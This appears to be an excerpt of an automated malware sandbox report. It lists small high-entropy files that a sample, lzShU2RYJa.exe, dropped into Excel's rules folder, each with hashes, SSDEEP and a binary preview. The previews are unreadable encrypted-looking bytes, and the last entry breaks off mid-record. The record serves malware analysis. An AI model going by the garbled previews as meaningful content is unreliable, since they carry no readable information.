Preview:	<?xml.G9..GU.)...TS.....m.......<.%....a..ru.oex..f............n.....X.G.}......4.1..W..x.J..+....7'..H6..kU.....So..f...HY..7.s.Wx......N..%~..].......U..Su...V...6".A...x.'......n.VY.j..x..fQ..0....hZ-!...^/t.D.C0.K..d.U.vb\|..O...ob.}....H.,..zq.K'..dq._..2j..a.$......2..xn;......`l.?..`(.x1.........o?.......;.1....2..F?x.J1..I..\%..R.T.......iD)...i..V...&.M..N....]n.DF.s&=.!m..}..2I.....0.;T.KlX....p.0IM....A...F..I./...S...g.`.S.F1....0m.[.c. .sU. l.\|..oh...v....R.5Z.f\|.e.h....@.Tt<.w......{.\..o..6_.'..NbZ?.0..;....T..:...s...c.i[......9..L.tK..mI....R..#.R..pU..[.5S.`.B.L.>.h..O{r....A."....\|b...(;....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.75898707288482
Encrypted:	false
SSDEEP:	24:XGU5WsKQAaOG7Eu2OmvCFvkIA5b51riVbD:XTQQOOPMJEFD
MD5:	BB98C0579636D69E11C22803C0D05412
SHA1:	CD8B18C0F5DD4F33BAAC34B89DDD78E5CA414B05
SHA-256:	0C06BC18472C391881DEED03648CCEB64C64797E7F682E5873740DD00A6E1603
SHA-512:	46334078753F4D0D1846656FFEFA3DA80960C7FE48BBB56A200067DED0C2AC14FFD1418DBA718E3615C130317B4C222E66D37D1C63B4591032E1C6E2503B9201
Malicious:	false
Preview:	<?xml.....c.V.H.S....?...LLM...v....#....d...FV.QK...r4.,.b.qJ...{.a.M.....%.^?........k..)....p..!...O.fh..........H)9..n...=..B..c.W....}.bY..`......(..E.?2[.f..`...}\|......_%.....?8d/.%).dW...S>.....@(..I..uJ..:....%....J=....4...~.V..{..&......{.c.23q........Al.!.B.R..t..........M...E.l.^ej........Og.z...y.b.........y.......G.%T_..4...g.i%aH..~..(P.T.b..{<..6.q.W.<.=..3..\h........b.%... A...u... .M.c...\ji...].n.T..7.9X...q_..X.a. K>+...Ij.......W....^L+.[u....>.7.s...Hg=........z.........w.F..1.!R..[...6c....`?.i..Y....LO..v.8O....o(..Ci=......_.[*i.jaab...H..B..5...p...N7<wZ.......wz.....(..\|j=.4....yU5.@nw.;4...b....$@.4..&..0.} F.j.."....B.#....U..S.nF.E.!.p..\|..I)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7223437369321255
Encrypted:	false
SSDEEP:	12:RmF6W0TWD6+Zp9a/PH9QQLj3C+T4vPiqahv+TK1z448OIAjVcii9a:cV0s60p9aCT4hv+TKN44CiVbD
MD5:	17ACFEB7E6EAC0A1055C992FB250E631
SHA1:	A61849215B00C59ECA75DBED8FB9231789C6FD86
SHA-256:	061A9563F2E505D7E7930D994FACB7EB9845E807841A4CC31374F873BB75B4C2
SHA-512:	AB6678C19EEB3200DAEC61673DE3591690F4AEC027CAB040CFDC6397441BABF44EF43980330A4E8459E0965E93FFBF14724668A5BFA8C8C52C64AB947C62D104
Malicious:	false
Preview:	<?xml..@l.Gp...i....EZ.....{....2.v.6..^2.G...)9w..T;....RU..ok..,...........t.,4.Un.u.m{.u.\...I...u.xh...Q..^~..Z..eW....{. H.}..Z.K....}.l..pb^...4.5..$Kt......`....!.}......\|.H.v3..O....D.>...W..y....4..,.I..M....(..\|.U.s.........i...=.d.G.7.!?}..i......f...s.>2,......]...../...Ce.\|.kJ.^...,..<..&.`.V....+.8..~...}...n....9 /...2S4.K.b...f...L0..I......b.ax../........}F.$a..).I~......?:]G..D . H#.5$.3dA..."^V..h.3....Ag]\|(4....~x.Y.$Ei.B.~......)W...1d....+...o..KY..f<.3...x..... ..^@_.j..........gUs)...TF...A...+.6+.~.U.....p.EI......T.T:.....h%'..Br.*Eg.../............$..`tO.0.[.<Z....]..A+..F.f.&.g2.Y!..p.\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.704295734668156
Encrypted:	false
SSDEEP:	24:a8el+h7n7tQDufatHUJnhDqb9338zwIVbD:a8elu7eDufaCJnhObV3yJFD
MD5:	794D75450E6315CA0C42FC8BE96A3959
SHA1:	793A67BDFF89560F7C00DB570F34A3E46276FCA4
SHA-256:	3944EC70A7150598C37BDCCA5B525D9EC86C8A53EC7E43DA27F68BC722FFE97F
SHA-512:	DFF6A1858C9937EB57EAC0740D9F24896049AD7DE4D0EF92AF4F72DDBB5B89AE099118BA10A98DB4B9AC154CB7DA6A76FD1A4003ABB456AA36C793D4A5CD67B1
Malicious:	false
Preview:	<?xmlC.Jm...z.D.T...5e...9...V:.=.k.wLZ.t+}...T.p.cE..."..(.....W........8e..&...$.{....@......b...\lk..Y...+..]a.T....^...H.....`...^@...^$...ws.$k..@.t-....7.j..O..E...t...k..P..E..?.n..l.N:X`..W./...R...7.R./(vchxR.)y+/..P.4.9D..F...4.U........~`.B.~..E.CqI.LQJ.....{%X&..+C..bd....-..&P.?.l6.B-..4...'....B.O..G.wL&.z'.......g.<1;..s.I.).J....CkQ..&...:K...........vP.....-^.aax.P.~ .V"..O....7.3..+~.9..........g..kp..K.ICk>=...o....W5CR+d.n..}o.&.$.&.^t..P..."J..~.."....J..c...........)+.....\.:j...@p....o..X#....I....2Wn..G.t.../P...U.....X:m.QZG#...$....F....r.D......{1..vB.o.....Lv..e............sp.'0...\|.... .U.:.......~?......h..O..i..T(.8..5..I.lS.-Hq.'...........Da..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.717238521845362
Encrypted:	false
SSDEEP:	12:e+ElVIn1paCnVnzxtgJ9ezuhVLeQzpYDJn9PKaew6ZPFa8qupHpjShFcsSejVciD:e+El6nqK1xtgJUCh0QzaDJntKweFKupC
MD5:	0CBF9AA28109FA40D94E2573FBB4311E
SHA1:	903295A7211AE5B96B58A939984A34D7EBB13EFB
SHA-256:	C08B0230C48CE6ABE3BEDB7F1C2EC257E2C0B120D5A6F481562F0FB321B8410B
SHA-512:	008CC12894E7A783E044696A0A81E5449555F6E84C02237770F5758E9659ABB644DECD13569B8739213A44FDFE912CD6DD9A025DFB702F149E77A82494FC3A5F
Malicious:	false
Preview:	<?xml.O..j...k......`nk.v..[..r.{.....K.}......%......+.,..d..?..:..\..>.LF`~pxD....sO..\|.............JDieU.[&.E......$...FAS.T...<<..=...-...h(.K:.?.)...../..q..\|6....&.......:R.(.M......<8.......R....XZ.b.(...f.'>."....^...........c.T...BG?...g..=>zf.Q. U..o..IJ. x{......G.c..p...tk...d.^...w..^!~..20.}.....-........P.V !>A.~...^.^..\|...N.vpK..)...V...:.J8.<..!HBjX..QB}...A...8.\|...,.tFsZ#..l>.y.EV..Et.s0.{9)..Q.....E......j..hV.h)^..g..Q.+{..E.(...ZK.l....)\..S.RJ.s.....+....M.....(.C.*.%.....k._r..mJ...x....L,..R.i.u!...A2...#.'$l.l&C.X.i....J5....M,.@.......2OYr..9G.5L.=...b\|....;..!..x...6p{.?Z..=.....s..CyN.....5.kk...r..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.710541059107064
Encrypted:	false
SSDEEP:	24:FNa6WBinRuF8OwgTnyJJqfaveiBl6SOLKiVbD:FNa6HIF8O83veiL6LLDFD
MD5:	E943B702F16BC3895E7B63F0E0E2988A
SHA1:	307DAE0C9982FD873881BFE01645D8D9418A08A9
SHA-256:	2B07E5F0F7D9A69331E909514FF7CFAD4F8E4427E2FC18BDD17187CC07DF8800
SHA-512:	3EA9CCCC0E3A5F030C6FD0D582125BE3A52347ADC9B0A342C3E55DBB73CD414BA2811BD0127ACEFB676F853CD35D16FF83178F60EC1ACB0DA997EFF7405E873C
Malicious:	false
Preview:	<?xml3.HI.$.t:V".x........a^.F..9....WA.LQ.q+\|.!.:f....B#..[.~?..C..S./.-.".......b2..Ra.......0z.....u..x.;...>.......K.......5F..i..l\B..9..=/.A..n.G4./h...T4.w]..._"..k....I...+.A....../+.e?.....K........'m..U.....)....f..p:0.^..J.KWt.0..udEt.Qi.l.S3.5.,..}.k^.......)..\.?.8....3.J.?_...d.}a7......[.(.-.x...y.^....wL...~v^A.8$......W5em.h]...ZL._.MS..qu... .<....N...].L`c.0Uh.&m..7Nn.dP.r..Dgf...........L.R..wqT.o.-..P.....p..n9.u.C..!^....d..eD......SVU?..0.q.E.g/.g....\;.6....AmC.7......"x...a.5.Gi.K..Z.h{.1-.Nk4...g..P../.G...<.5^R.<BUz.._.D.J.B.....2....3~...2....$.2.yd....r.k..r.k..I$m+$}T[.`!iv..\|@j.....%u...#N)..]e5:.$..c,....-VE.=...39.&....V..ki5:...a.B.+Z.u{..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.731957966996047
Encrypted:	false
SSDEEP:	12:ULVDy6ammdz6CCO+XCiXJQeoydJl4iuKt/U432yW0xwTyfghttFxMDVj/EpcyqNV:dmXJQeocXukM4jW0tgBscpl2X1VbD
MD5:	CDF42F13ECC254089B4BF7ED041CD4C7
SHA1:	3338AA35B8333CBFC9A6275A377F9C3C5E6CCA89
SHA-256:	8C33BA9D9C69178B291129E751E7A66EC58648DA317E7CAB9013CAB5A6F29AE3
SHA-512:	49E692D731EBE6183B43CCD139334AD2CD5111A0300F7E8D0A8ECA676C342FDC2449632F0341F6C7C064FE61266E5126100012E5D6B5DC8109A1F11607C6B3A6
Malicious:	false
Preview:	<?xml).W..wH@..9.t.s....B..os.7......p...$"i.l@B.qi../.a..O.x.1.....`..12...e.z.S..c.....ysLj..=@p~z..)I....s..........w.Pj_..:x.......{8....."T....i..l...!W...Z..._H.1:r*.A ..d.....i.ge8Os...u<2..zd...v...P.....xO..9\..d......?7JuI.2..ui..8....:....8..y...7l..(.........$.F.);..r\...6.s..t..<.h.[.y..&~..C../...P..p...-..#Y.`4.....3\|....=....(t.U......x..C...9.uu..S<..G.......%.pkh...1.3. ....)....2.$^.>.I..OM(.O^....T......Q.a....q...##IK.<.H7.`.".......a..h.).Xk....9j.9.v.m.,....d@Rn(z.9.....e..."n.f...)..2..{,...t....u..B{G^..g(...s$..^n..{x...p./..3.A...0.E...m0.,..........L?...^....).Z........O.-...\|.~8...P8....1]0w..j.8+v......]=`?...y.B..c.<.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.670460576697272
Encrypted:	false
SSDEEP:	24:UxsRZRDcNWGhD65hhJL87ct+pnTG7RBVbD:m8ZRWpJ6JJ4M+JiXFD
MD5:	F570D22820BD42F5CDB897F91206C67C
SHA1:	2F565E674D4AAAEF12014320C91D5C9C6B2759EC
SHA-256:	441C5CFD6844F18C126CDBD735D752C01B16ECF1FA5ACAE4513504CA9444FCF6
SHA-512:	19500F1EF613DA6781CE4AE7DEE686C712A362EBBF2D01A1A9C5352F96B5F326A2E4D32D112F714A689F36EBC7A414DDC11EA18FCA46E6C6ABCBC2B0835A40BE
Malicious:	false
Preview:	<?xml.....5Fj.a....c0..^.......WA.E7G..j..`.I.....~..>...5..$...8.....z...;.&.b..(#.S[..NZA...fr..~U..C..-.:X.... `.{9<A.....3.}1Y.b..o...[Y.5.C.t.....>..a..E.k..68Q...rt.T.....q.....aKb......K....c:.l.......h:.aF..../v..B.2$\|R....t...^JN...m(..Na..b.6..j....D.Q.C.4.qW".H..D..`.x...-..V....._.s..(Y.D..a64,.j.A1.... .i.pV....~...h...p./.x..%.o...V...>i...F5@Z.o<.r.b.e.9U..$tW......L..F...B..$..GD.N....p.............T.Q.....i.*.B.C.2....?..k...}.%.K..{c...m.y..5...^..p...<z.b..0.H.M>..9.tc.56.&.?...zkK....K..j5=80...o+Hw.Q......2.h.`..$.Np8E.'C..s.kMhE....?'J~k....e.....~.......e.].]].=.....(=7..<..}.w...kI3....9`..D..4.l.`W #....>f#...I......N.^..H.t.[`}.S....~..:..~...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7386472455292115
Encrypted:	false
SSDEEP:	12:Y6otW1KLvVAgnQMMsj7sim6fLc4yxwxAwgFPJRNGOVVCr6yr4palKBoeB2+LljVX:YbTv+gGiFLRDgFPTno6yDl+FvVbD
MD5:	3B16367D8C7EE8EFF72B8096019E0658
SHA1:	89C005943832778E1CEB2DB3BB67C6620EBAF54C
SHA-256:	C35A689687DDEB5171A42AD6B1DF3EA23AB9DA6C42DECD9799C7FD77952AE67F
SHA-512:	C24C7BDAA54BCABC766A68EF0BAB7DA9D5FC657A66E7D7DB61DC8FFB36AFB5453B0C9980F9DF0D5A46DB5183B049B81BAA69A079DDE963AFA89E6753FCC8724C
Malicious:	false
Preview:	<?xml....hF..l...t:.6......g._...2.T...P.B.n..Z..6)..O.nv..xV.y`...P..Buh.S!....$.Y.....4..f.R..j..0.o.....-.`!s1.z.j..q.e[..@.-.2c..e..r...Ov....g.....m............m....j.G.f\........K..5qp/.c\|..6.(..I.P..R.O.<....EI..8k..r0.....1.B..u.ip..L...^..f....V7../...k....P..O...=w..W.1....k..B.~4.(OE........$.Z...i.$K.........n.....'y...{..\|4..F.S..m..J../.M"yN"...V..+..f.c.Na.... .C(..y..n]......,.^.k.n..b.g..,K.@..J.)A0..K^....+.p..[v........D.#.H.2.p..).3....T....=.HP..`..U\|.S_..:.c+uF.]...O.o....Z....<..........6..uq.El..Z>&.Nr..8..A....'..,..y. ..zH.f..2.v...1....<.C3.>=.j..ezr...yz3!...F.^..e4../..Q@..Q..V..t.M..J./&r.....Jm-....L..}...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.730223292373359
Encrypted:	false
SSDEEP:	12:jPZIA0tVcJLt/3R2RdBbuYW1Ip6wWuJYCfvusEa0I+dBNet5kqsmmovZj6axwMAZ:8f//uP16G6jE8+dBNeLsLovEaxwMiVbD
MD5:	9E765EAC8E47012BFCCE1E1DC6B26814
SHA1:	36990761DFA69779E0FF8B4A8D0C20A2D860A8F3
SHA-256:	6874E95E894382F63356ED60947D301226291F8B1A120D4F242D277E03D149A5
SHA-512:	4696131E4DE885B9527ACC42C0127EF1A0B8B3311F95C3B909898A88C3555BA44F2C2A7A14345882D9847E5E44874074947D73F1BB50900A9998DE88FDEE3561
Malicious:	false
Preview:	<?xmlcG.6U.......J.....c..$.;..#..g...}.......N.N.o+..C.4..v..<}.V.S..o..S..O...i@R..>..../.ofX...f..h.....j.c..s..w!....sB....ws.:..\....\|...._a..z....n...x......"..".......n]....]........2...";.~..aoY....`..+P..xb.;fBW....}k..k..P.B<....!..H.P....<.D~........y.....\Ch..Xp.....5.....{.d.7....XC[..r.....\...:......h...ol'......VDK.....x.....F..[.2..!#....;?4.7/]z...u.........../.x..JJ...^.:.GT..$.....]".5`.G..+eNf.M....C...$.V..k.y_.D.NF..}?..A.1..d.bH............o..)....L}....K..8...2.J3...K.....K.7.D#j......X.?6..xb7.=.o.......\.`....t.a. =.?.....s....G.O..o...v....-V1.Q.szD..{p...81..D....v...Q...H.......{.....h._.v6yo![...C.l.Q..=p..'..\|......gn{.aV' .EW.t.9.m.41.FT...H.S.S\...y.+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.72890730660805
Encrypted:	false
SSDEEP:	12:gAX3ymdy6oxPhDUNXsoFuhwy68idRCdQO36bEPCNjVcii9a:gAymTox5DUNXPQiz8i66MCNVbD
MD5:	30AF20277CDA36E628BD01C8D8A2EA27
SHA1:	CEB0F872F115EB708F41847C69B6CC5D0ADCDDFE
SHA-256:	88836C5CB62DF39A54816D96DC007434F4B52DFE7DEDC48CE9BC05AB3FCDE17F
SHA-512:	FB107098E71618845C70F983795CC03809C2F9E4DA3B5C957AE53EB5FC38E2272BBD05FF94A561CCD04B7AC6F01D0881F07E8F91CA6B5C8F02D7582608E1C44D
Malicious:	false
Preview:	<?xml.8>..\y.....d..i.P.>\|8.Rk..b......sV..1.=./....a..."e.p...z.2.f.../..x..^.x..X.m.U.^.w.?.3_6..mP.5.;......KW'.<5$7.>.....h.=b......{0.q.R.u..6F0.......UX.......z/b#./.q..a ..b".F./3...=<y[tD.+.....I.....L..e.....#'.K....s.?......6.W...Do..q.j?..../.e[ ..%ok.7.L#..\|.R.....h..s.......g.x.J.B.........s_."h.C8quy....uq.......S.Da.^<.0.$.n..c.. ...\|.. U.+.k...n....'G..{P\|rH..E.....p`......X...r{.~V.9H.J..d7.G&.E..h.O...X7&.....$..\\.a.1...^.(.O...~@....q:.........qg.!.....zg...D..8.....'.1I:.5'..#......E{b.?.8...9..r..O.....J..._$Yw;B..Q)....b.S8.U.....:Z..........PS..I[....l.+l...X.+.a?kp../A......BM8+..]...q.?3i......z<\7itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.743581016400335
Encrypted:	false
SSDEEP:	24:gBmh3z/2m/spisQ6h3KPjWwvkIFP8uFxaJoWAsvBVbD:T+mGTh3KPitHm8BFD
MD5:	617F3994FBCF33BB3A8E9A7A6311CEAC
SHA1:	EAA37835640533971C1A6675E747D15682CBC1AF
SHA-256:	E03146C3A048D38C4878F740D77E3C8AAE85748C1E0C319581BE64A1DCC323BA
SHA-512:	BC96DAADC84C9866D8E77BF1568D32B6672B14A92A8793083DCFD0114E5963DF1AA1D175ED9CBF30F3B68864EA9FFA9DC4173DBAA26CE666ED6D64423161C931
Malicious:	false
Preview:	<?xml..'.>.....:E.....T/.. .K]bt..M_..>dM.!.a.={)..R..W...].....&........A....l...d...c....:..j......\|....9F...5.........%t.<}....K..O..v......n......b.u.a'.S..T&...R....}......\.5........).M.&.#I...6..Q.S..l.p...&2....I.P....[g...../..1.'&.N....nw.@.!C._b.pP....Xa...v.........c .-..h....&..t5.9K.......9..fp.w..BX....b~.$6F!TM.......h........ `...........L4.u.........mk..;.....+..}..W.G....Q..2...0.Z..pz....p...C_.l.(..K..P.@T;Bj_U.... .pz{.<?.m....TAMf....<_h....LJ.+..X.j...Q....a0..C<.'0.K..<.a.n..>.F....9.eV....@....T..W...V.&u9....L....>>.....w4.."6y.&..j.....z.#abmW.......q$.k.V.....q...4ABV...!(..&]....0D.........v..UkcQ.......},...z.\..D.%...jZe3.{.UT...8......1.....8'KN...=.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.685373415794126
Encrypted:	false
SSDEEP:	12:IR4QzyEtoTFiygEYSeVcqjdYFVJ2m+pBlAadY1DM2emejVcii9a:IafEOTFi2Yb2EdYJb+pByadYDcVbD
MD5:	30505C04F77C5E511ECD24D3C8CFB44E
SHA1:	61BAA92C7057C4782BA70AD26F76F2B4F04069A0
SHA-256:	8A82EF5E28A92212CFA4AB9CB39A18080A6AD59CDE14FEF0B3642DEF4881A6C2
SHA-512:	C225895155F31279F35E09D9A435823C2687309C29233C35DFA9AC003248E9EED39C4C94B6D95E4CB3747A340D061A22D9136725E19A1BD7AB0655E2AE76781E
Malicious:	false
Preview:	<?xml..&..Df.Q]fx.D.J.-...c..W(....U.........'.....4...........P..H.Y.+W..".)...!(..2....c...)a_.k=.(....%m...F....f...w.A(l..\|8'..%...N.....@.:..u#6O.S..A?lUe.y...\|l.. .:...z.v....2.$f....1.s ......O\|..R.]E.....2.MLs..P..]y .$...k..n\|..z/;F..2.AN.........9T......9c...u..2F.L.9Y..`..=(K...kw..t...v...{.C.7..%.Q...V......{..7..$..."X.l.B.,,...z.....N..B..j.....i..4..F....5.Or..w......8H{...^........#..L....4.u...6>.0.....%..Q...L...(Q.j.x.:r.@..MG.e.........%e...5-.X..<..-Ex.g.....9..O....k....9m.s.)}..).........\|.Ht..LK.._.+.......,D....F.q.B..m..Q.._G.G.K.Eg... ..O...C..+.S.E....0..#..;....os....._N{.l.+..}..C."..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.690554576988435
Encrypted:	false
SSDEEP:	24:fs47CRXnbrXlwOvT6oDZ6uL3Du6Wy+XVhSwmXVbD:k4+XbrXyoG6YuL3K6Wywh1oFD
MD5:	3E441BCF600423125AFC05282AAFD2B8
SHA1:	8B8713782362EF0DC496F61D9A9EDBD2EAB31989
SHA-256:	ECC504EAFFAC9A1E05D368E5CD7E785EC1AF3228DC61903E15382B4A92BB979C
SHA-512:	862B4BDF54DB168C3441E78A9B846AB3E7637AD2A04CDAD998D9DB94931EEE7A71CE7B55F054427E585C13B9871E8BF2FFF9DAE52A0F09139C590CD67525AB4C
Malicious:	false
Preview:	<?xml$/[.k/.-.TG.....G.&g....V....!....w.....r..'.y..Y.3T.TH.............q4.L ..d)....=dB..V...b...H.w.3..L.......k@J...b.......q..T...-.pR.qb.k.~..@p....\|1.z...jgi..8~..~,.`...m.ALd_.TL.....agt.,ns.-...Sf.!.:g..r.m.!..m.:U.8.... .g..[b)..\|.a..L.T!.q".@.H...L.'.q..E{+...}...B.%...c.$...ey..(ZG..?X....;.....-...S..g...'...{.y...._.S...p+.0..#N. p.k..10.6..v?."...s.{..%...u....z....... ...5..Tf"'45U...h..qw.W....Q..q58.S...s.....V.........P......%xyl....9%r.+A..2H\.q\|VO..\p..r3;..9X.4k...B...m.......j$..f.....AQ^.:..1.....z]... ...3_.........:o..w\|...SV..w..k..hny.V7..).ds9f.W...m..*.....sf<.\...x.9\x..YzX.-......'T..n..c...h.X.....F.........K.S'jA...?0.z`n.).D=..w)E.W......g.%..Fs...2.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.56354479944116
Encrypted:	false
SSDEEP:	12:hJcyq9rcUQ+wNUzySJRCKwbKX67U4+Gr43kkNjVcii9a:hK19rcvaXmKX67IaENVbD
MD5:	B71E8E47D6800729B769ED3F4262AE99
SHA1:	B405735A1C2BACF0C94DA878AD06D74DC2A35696
SHA-256:	D016E428AF78059A494A3460BA7908EAFDCA9C8F5797A08D58E7178F768A9342
SHA-512:	95186C1C45AA6C2E7679CBA5D645D12FAF52476C3DD6DF8B62DF382D88FCF6672FA85E3FAE3260CE390AF1C26C5E4C2F47937D2293BB4AC56E1D5087DCC2AD53
Malicious:	false
Preview:	<?xml..D^.C.....~$\.....~...,..T........'..ql.Q.^......r#...f.w.J.]..,.J.J..zY"....3I..<....~<y.G.t..G+..>.D..y.....k..S.ve5sP.f..zDL..L..!..b.64:......;.y.R.........{.[.Ny..3G.\hq.#.B.."#....?..B......?PU[.\|.......6.&w/G(A....]..........E.G...e.i...J.\h..N..D.!o4......s...3......+k...b....rF.q..O...}......=......... ..D&7...YYs..5.X.G.R.k...p?...Gz...1.;<...<.............(.<.._..X.NQ.-. ?...6$*.....5.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.906893758687903
Encrypted:	false
SSDEEP:	48:Qyig7nWeuRSGYNOyzD+gfmY5qDUiXtnnToxfQXd2Q17vjiCpFD:ji8ZuZYNO6RYtnToxfxQ16O9
MD5:	B28B697BDE687159A834A8900264E911
SHA1:	5D1B760470C673D96404F91522A655443142E329
SHA-256:	ED665D2EB7FC7926D516752C045C12D861DEDDB3A3A4E70E6478D72829F1C909
SHA-512:	1EC995DB0E671697E10F7A1339C40899C4A8F5E6B4AF559C660BCD7DAF988628D42DDFE9AAE77CB514E693CEDFF9B6D66A9CA05745487AA38FC57DA275A4634A
Malicious:	false
Preview:	<?xml.E9...Sy..I!a..T.[..8....J.k.$K...2.....B.~..tpI.).g...f._H.l.g..4..SdY.t.{.9.~....i0v.V..lNZ.3....9,..............[.G.sB0[(.d-I..6i.9'..J.N-..p...".Y....&.9.qv.{.x...c....i....C'...}.....D#..:.K).c.~.-.. %82..^..()..<..}.K....e.O...4.... .....;....u&....f./.nj........!.\|.q.}...`........%....F.8!..:..E.....p..E40.....Y..f...+".\|T:.D..H..4..4..F......j..y(pm6.6...X..,....^".....(2...\|k%t...\.ZXi.G.2....4.S.Z...Y.......H.(.S&......f?.....0v.j(..../P..%..\ .s..ko.@i...e......Q2%.7..p.....r.jr{...#".<........M.9X....j...[.g...@N'..d"..j.q..)..Sh.p..Y.D..hG......U%..\...6K...z?.6...UW)..z\|?>.-..W..A!.Q..J'.........}K...{.....Rm.t.Q...s...u./......~.....t+$..D.Z6.a...[~...r.U...6(T.yOWTij.U..QU....g..8...f.....".`....[N.Ip ...?n.~.h.....3R.P.3H.....z...r...:.v....kV...o.1...$..NK_])...5......]Z._ue..4..Nk.=.Q...E.q.....D.'Ef..*.&.J-}.L.u.......@.7..u$x...]6...)..&.".(B.T..0..Q...Y.z....h..yv.hM.y...TJh....H.........2.V.G.9.L.6.m.z.PU.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.84497669317558
Encrypted:	false
SSDEEP:	24:uSW3zeeGvzFTJDJD8xv4nc89ftpBoisiuG7Tes+20M7IaANdgxmVbD:YALFJu89ftpBUFbs+bQ/sFD
MD5:	BAE8E83B492FB8C8DC77EB697D6E34DB
SHA1:	FDC5A7B68597EAF6896826FBB4B04453DE696ACD
SHA-256:	7B550B1C021EC581F0EDAFC248BF0B6C0FAA28DD7276D46CAAE212DB4A3D1EB7
